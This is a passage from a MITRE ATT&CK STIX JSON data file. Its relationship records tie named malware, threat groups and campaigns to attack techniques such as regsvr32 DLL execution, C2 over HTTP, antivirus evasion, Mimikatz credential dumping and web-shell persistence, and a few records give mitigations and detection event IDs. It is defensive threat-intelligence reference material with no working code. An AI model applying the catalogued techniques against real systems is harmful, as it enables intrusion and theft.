Analysis)","relationship_type":"uses","source_ref":"malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b3cb9975-adb2-422c-a8b3-0b1ea230d4e4","type":"relationship","created":"2021-01-07T20:28:30.061Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JoeSecurity Egregor 2020","url":"https://www.joesandbox.com/analysis/318027/0/html","description":"Joe Security. (n.d.). Analysis Report fasm.dll. Retrieved January 6, 2021."}],"modified":"2021-03-22T22:05:59.568Z","description":"[Egregor](https://attack.mitre.org/software/S0554) has used regsvr32.exe to execute malicious DLLs.(Citation: JoeSecurity Egregor 2020)","relationship_type":"uses","source_ref":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b3cf2464-2602-4a88-8e7a-dda56eff05ff","created":"2023-10-02T01:52:28.960Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T01:52:28.960Z","description":"If remote services, such as the ability to make direct connections to cloud virtual machines, are not required, disable these connection types where feasible.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b3d3ab9f-03db-4982-b60e-9f7f224f1fc2","type":"relationship","created":"2019-01-29T17:59:44.229Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More","source_name":"Talos Zeus Panda Nov 2017"}],"modified":"2020-03-17T02:54:50.679Z","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) uses HTTP for C2 communications.(Citation: Talos Zeus Panda Nov 2017)","relationship_type":"uses","source_ref":"malware--198db886-47af-4f4c-bff5-11b891f85946","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b3d6abc5-11da-4d0c-a699-8cafac03dfab","type":"relationship","created":"2019-08-26T17:00:30.957Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34’s Invite to Join Their Professional Network. Retrieved August 26, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html","source_name":"FireEye APT34 July 2019"}],"modified":"2021-05-05T15:36:12.577Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used LinkedIn to send spearphishing links.(Citation: FireEye APT34 July 2019)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b3dac4f5-b074-41fa-8737-280c3369c73e","created":"2022-04-06T20:12:18.937Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Arghire LazyScripter","description":"Ionut Arghire. (2021, February 24). New ‘LazyScripter’ Hacking Group Targets Airlines. Retrieved January 10, 2024.","url":"https://www.securityweek.com/new-lazyscripter-hacking-group-targets-airlines/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T13:58:25.223Z","description":"[KOCTOPUS](https://attack.mitre.org/software/S0669) has been disguised as legitimate software programs associated with the travel and airline industries.(Citation: Arghire LazyScripter) ","relationship_type":"uses","source_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b3dbb1d8-2404-4514-8ae7-f0f58b198fb0","type":"relationship","created":"2021-03-12T16:55:09.307Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."},{"source_name":"FireEye SUNSHUTTLE Mar 2021","url":"https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html","description":"Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."}],"modified":"2021-03-16T17:45:02.456Z","description":"[GoldMax](https://attack.mitre.org/software/S0588) has used HTTPS and HTTP GET requests with custom HTTP cookies for C2.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)","relationship_type":"uses","source_ref":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b3dd4e4e-0bb8-4487-8336-b5d9024045eb","type":"relationship","created":"2020-05-21T14:55:00.281Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T14:55:00.281Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has collected information automatically using the adversary's [USBferry](https://attack.mitre.org/software/S0452) attack.(Citation: TrendMicro Tropic Trooper May 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b3dfdb85-2038-4be8-b5e9-bdbcb35f91c8","created":"2024-02-12T20:20:25.814Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-02T21:31:06.730Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) looks for various security products by process name using hard-coded values in the malware. [DarkGate](https://attack.mitre.org/software/S1111) will not execute its keylogging thread if a process name associated with Trend Micro anti-virus is identified, or if runtime checks identify the presence of Kaspersky anti-virus. [DarkGate](https://attack.mitre.org/software/S1111) will initiate a new thread if certain security products are identified on the victim, and recreate any malicious files associated with it if it determines they were removed by security software in a new system location.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b3e28a85-784f-4adb-9398-3bbdaf9275fc","type":"relationship","created":"2021-09-21T15:45:10.178Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-18T13:19:48.355Z","description":"[Turian](https://attack.mitre.org/software/S0647) can insert pseudo-random characters into its network encryption setup.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"malware--350f12cf-fd3b-4dad-b323-14b943090df4","target_ref":"attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b3e2abaa-f431-4791-95d0-d44f3a74a73f","type":"relationship","created":"2020-06-30T22:12:28.108Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}],"modified":"2020-06-30T22:24:45.570Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used a custom .NET tool to collect documents from an organization's internal central database.(Citation: ESET ComRAT May 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b3e4c3b6-0036-4968-b245-a4c36d3cd417","type":"relationship","created":"2019-01-30T15:21:42.369Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","source_name":"Mandiant APT1"}],"modified":"2020-03-19T21:52:19.982Z","description":"[WEBC2](https://attack.mitre.org/software/S0109) can open an interactive command shell.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"malware--1d808f62-cf63-4063-9727-ff6132514c22","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b3e90252-cb18-4cd3-8faf-59d25a39bb46","created":"2021-03-31T14:26:00.980Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Docker Daemon Socket Protect","description":"Docker. (n.d.). Protect the Docker Daemon Socket. Retrieved March 29, 2021.","url":"https://docs.docker.com/engine/security/protect-access/"},{"source_name":"Kubernetes Cloud Native Security","description":"Kubernetes. (n.d.). Overview of Cloud Native Security. Retrieved March 8, 2023.","url":"https://kubernetes.io/docs/concepts/security/overview/"},{"source_name":"Microsoft AKS Azure AD 2023","description":"Microsoft. (2023, February 27). AKS-managed Azure Active Directory integration. Retrieved March 8, 2023.","url":"https://learn.microsoft.com/en-us/azure/aks/managed-aad"},{"source_name":"Kubernetes API Control Access","description":"The Kubernetes Authors. (n.d.). Controlling Access to The Kubernetes API. Retrieved March 29, 2021.","url":"https://kubernetes.io/docs/concepts/security/controlling-access/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-15T16:10:37.976Z","description":"Limit communications with the container service to managed and secured channels, such as local Unix sockets or remote access via SSH. Require secure port access to communicate with the APIs over TLS by disabling unauthenticated access to the Docker API and Kubernetes API Server.(Citation: Docker Daemon Socket Protect)(Citation: Kubernetes API Control Access) In Kubernetes clusters deployed in cloud environments, use native cloud platform features to restrict the IP ranges that are permitted to access to API server.(Citation: Kubernetes Cloud Native Security) Where possible, consider enabling just-in-time (JIT) access to the Kubernetes API to place additional restrictions on access.(Citation: Microsoft AKS Azure AD 2023)","relationship_type":"mitigates","source_ref":"course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f","target_ref":"attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b3efa4b3-4281-4bc7-a588-836d8e64c2f2","created":"2022-03-21T22:15:27.636Z","x_mitre_version":"1.0","external_references":[{"source_name":"Objective See Green Lambert for OSX Oct 2021","url":"https://objective-see.com/blog/blog_0x68.html","description":"Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."},{"source_name":"Glitch-Cat Green Lambert ATTCK Oct 2021","url":"https://www.glitch-cat.com/blog/green-lambert-and-attack","description":"Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved March 21, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Green Lambert](https://attack.mitre.org/software/S0690) can establish persistence on a compromised host through modifying the `profile`, `login`, and run command (rc) files associated with the `bash`, `csh`, and `tcsh` shells. (Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021) ","modified":"2022-04-20T17:50:35.396Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--59c8a28c-200c-4565-9af1-cbdb24870ba0","target_ref":"attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b3f53743-4bd9-47a6-bf41-6f7786bbdc87","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"},{"source_name":"PaloAlto Patchwork Mar 2018","description":"Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"},{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2020-03-16T15:59:20.322Z","description":"[BADNEWS](https://attack.mitre.org/software/S0128) is capable of downloading additional files through C2 channels, including a new version of itself.(Citation: Forcepoint Monsoon)(Citation: PaloAlto Patchwork Mar 2018)(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"malware--e9595678-d269-469e-ae6b-75e49259de63","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b3f66735-fafe-49be-b55c-4d087d1351a7","type":"relationship","created":"2020-05-06T21:31:07.642Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.642Z","description":"[Okrum](https://attack.mitre.org/software/S0439)'s loader can decrypt the backdoor code, embedded within the loader or within a legitimate PNG file. A custom XOR cipher or RC4 is used for decryption.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b3f7d095-c7eb-4a4b-909d-e3b831c7ed16","created":"2022-09-27T16:43:21.437Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:43:21.437Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors discovered removable disks attached to a system.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b3fc9f8c-9074-42b8-a144-ad97aa017dce","created":"2022-09-22T20:20:46.991Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T20:57:10.286Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors generated a web shell within a vulnerable Enterprise Resource Planning Web Application Server as a persistence mechanism.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4016d43-d8c4-4ca2-b119-0681ebe8aaff","type":"relationship","created":"2020-06-04T19:45:16.042Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objective-see windtail1 dec 2018","url":"https://objective-see.com/blog/blog_0x3B.html","description":"Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019."}],"modified":"2020-06-04T19:45:16.042Z","description":"[WindTail](https://attack.mitre.org/software/S0466) has the ability to decrypt strings using hard-coded AES keys.(Citation: objective-see windtail1 dec 2018)","relationship_type":"uses","source_ref":"malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b408ac97-93d7-4cca-ac96-7a61ab99cb5e","type":"relationship","created":"2021-03-02T16:42:09.533Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CERT-FR PYSA April 2020","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf","description":"CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."}],"modified":"2021-03-02T16:42:09.533Z","description":"[Pysa](https://attack.mitre.org/software/S0583) can perform OS credential dumping using [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: CERT-FR PYSA April 2020)","relationship_type":"uses","source_ref":"malware--a19c1197-9414-46e3-986f-0f609ff4a46b","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b40f6b8f-c654-4d44-8a1b-72e2cf0fd535","created":"2024-09-05T22:23:42.052Z","revoked":false,"external_references":[{"source_name":"DFIR_Quantum_Ransomware","description":"DFIR. (2022, April 25). Quantum Ransomware. Retrieved July 26, 2024.","url":"https://thedfirreport.com/2022/04/25/quantum-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-05T22:23:42.052Z","description":"[IcedID](https://attack.mitre.org/software/S0483) used the `ipconfig /all` command and a batch script to gather network information.(Citation: DFIR_Quantum_Ransomware)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4174e7a-3b60-4697-a006-84edb81622cd","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","source_name":"Lookout Dark Caracal Jan 2018"}],"modified":"2019-07-16T15:35:20.800Z","description":"[Dark Caracal](https://attack.mitre.org/groups/G0070) spearphished victims via Facebook and Whatsapp.(Citation: Lookout Dark Caracal Jan 2018)","relationship_type":"uses","source_ref":"intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12","target_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b419439a-ab5d-4ff7-80c1-8300f29872d7","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trimarc Detecting Password Spraying","description":"Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password Spraying with Security Event Auditing. Retrieved January 16, 2019.","url":"https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing"},{"source_name":"Mandiant Cloudy Logs 2023","description":"Pany, D. & Hanley, C. (2023, May 3). Cloudy with a Chance of Bad Logs: Cloud Platform Log Configurations to Consider in Investigations. Retrieved October 16, 2023.","url":"https://www.mandiant.com/resources/blog/cloud-bad-log-configurations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-16T17:14:24.173Z","description":"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Consider the following event IDs:(Citation: Trimarc Detecting Password Spraying)\nDomain Controllers: \"Audit Logon\" (Success & Failure) for event ID 4625.\nDomain Controllers: \"Audit Kerberos Authentication Service\" (Success & Failure) for event ID 4771.\nAll systems: \"Audit Logon\" (Success & Failure) for event ID 4648.(Citation: Mandiant Cloudy Logs 2023)","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b41abaa3-a21f-4d2c-9c60-c90c4f360b00","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-17T01:57:57.402Z","description":"If [NETEAGLE](https://attack.mitre.org/software/S0034) does not detect a proxy configured on the infected machine, it will send beacons via UDP/6000. Also, after retrieving a C2 IP address and Port Number, [NETEAGLE](https://attack.mitre.org/software/S0034) will initiate a TCP connection to this socket. The ensuing connection is a plaintext C2 channel in which commands are specified by DWORDs.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b41c3406-5ffb-4e92-ab0a-bc62da337eb9","created":"2024-01-23T19:45:30.722Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-23T19:45:30.722Z","description":"[ToddyCat](https://attack.mitre.org/groups/G1022) has used Powershell scripts to perform post exploit collection.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b41c9b77-536b-49bc-8cb9-a873aa121002","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Poison Ivy","description":"FireEye. (2014). POISON IVY: Assessing 